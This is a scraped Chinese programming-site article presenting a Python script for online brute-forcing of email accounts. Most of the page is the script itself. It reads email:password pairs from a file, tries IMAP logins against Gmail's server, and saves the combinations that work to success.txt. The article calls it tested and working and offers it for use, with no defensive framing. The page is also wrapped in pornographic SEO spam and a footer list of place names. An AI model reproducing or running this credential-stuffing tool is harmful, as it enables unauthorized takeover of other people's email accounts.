国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

Python實現在線暴力破解郵箱賬號密碼功能示例【測試可用】

2019-11-25 15:52:52
字體:
來源:轉載
供稿:網友

本文實例講述了Python實現在線暴力破解郵箱賬號密碼功能。分享給大家供大家參考,具體如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:passwordusername@gmail.com:passwordusername@gmail.com:password

以此類推,切記保存成utf-8編碼格式。

放置在當前腳本目錄,也可自己定義修改。

支持ssl https /imap協議。

# version 3.4.0# coding='UTF-8'# time='2014-09-16'import _dummy_threadimport imaplibimport threading# global variantGLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000GMAIL_BYTES_READED_TOTAL_SIZE = 0GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0GLOBAL_READ_FINISH_STATUS_SUCCESS = False# define global functiondef Write_Save_Success_Gmail_Jobs(indexSuccess):  Success_File = open('success.txt', 'a')  Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])  Success_File.close()def Write_Save_Fail_Gmail_Jobs(indexFail):  Fail_File = open('fail.txt', 'a')  Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])  Fail_File.close()# define global functiondef Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord# define global functiondef Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:  GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()  GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1  print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)  print('IMAP INDEX-------', IndexGmail)  print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  Write_Save_Fail_Gmail_Jobs(IndexGmail)  # GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])  GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)  GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143  stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)  try:   ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)  except GmailImap4.error :   print('Logical errors - debug required')   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.abort :   print('Service errors - close and retry')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  except GmailImap4.readonly:   print('Mailbox status changed to read only')   GmailImap4.close()   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()   return  if (ResponseStatus[0] == 'OK'):   print('LOGIN SUCCESS')   Write_Save_Success_Gmail_Jobs(IndexGmail)   GmailImap4.logout()   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()  else:   GmailImap4.close()   print('LOGIN FAIL')   print(ResponseStatus)   Write_Save_Fail_Gmail_Jobs(IndexGmail)   GLOBAL_WORKING_THREAD_MUTEX_LOCK.release() else:  return# define global functionclass Working_Zone_Thread(threading.Thread): m_IndexStart = 0 m_IndexEnd = 0 def __init__(self, numEnd):  self.m_IndexEnd = numEnd  threading.Thread.__init__(self) def run(self): # run process  while True:   if self.m_IndexStart < self.m_IndexEnd:    Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)    self.m_IndexStart = self.m_IndexStart + 1   else:    break def _delete(self):  threading.Thread._delete(self)  print('thread delete is : ', self.getName())# define read functiondef Read_Send_Single_Func(): IndexStart = 0 print('--------read----star--') global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM global GMAIL_BYTES_READED_TOTAL_SIZE global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY File_Read = open('mail.txt', 'r', encoding='UTF-8') File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:  line = File_Read.readline()  if line:   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)   CbBytes = line.__len__()   GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1   IndexStart = IndexStart + 1  else:   GLOBAL_READ_FINISH_STATUS_SUCCESS = True   break print('gmail read num ', IndexStart) File_Read.close() print('---------read----end--')# main entryif __name__ == '__main__': print('Main Thread Start : ') while True:  if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:   Read_Send_Single_Func()   wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)   wzt.start()   wzt.join()   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0   GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()  else:   print('data has run out : ')   break print('Main Thread End : ')

更多關于Python相關內容可查看本站專題:《Python Socket編程技巧總結》、《Python數據結構與算法教程》、《Python函數使用技巧總結》、《Python字符串操作技巧匯總》、《Python入門與進階經典教程》及《Python文件與目錄操作技巧匯總

希望本文所述對大家Python程序設計有所幫助。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 凤庆县| 淅川县| 从化市| 济宁市| 高要市| 衡阳县| 射阳县| 肃北| 文登市| 江津市| 原平市| 开鲁县| 舟曲县| 鄂尔多斯市| 扶沟县| 宁安市| 沿河| 玛沁县| 萍乡市| 甘泉县| 东至县| 玉门市| 普安县| 宣武区| 大田县| 信宜市| 基隆市| 霸州市| 绍兴市| 古田县| 海兴县| 吴忠市| 吉首市| 山东省| 图们市| 尚义县| 邢台县| 宜章县| 寻甸| 吉林省| 新野县|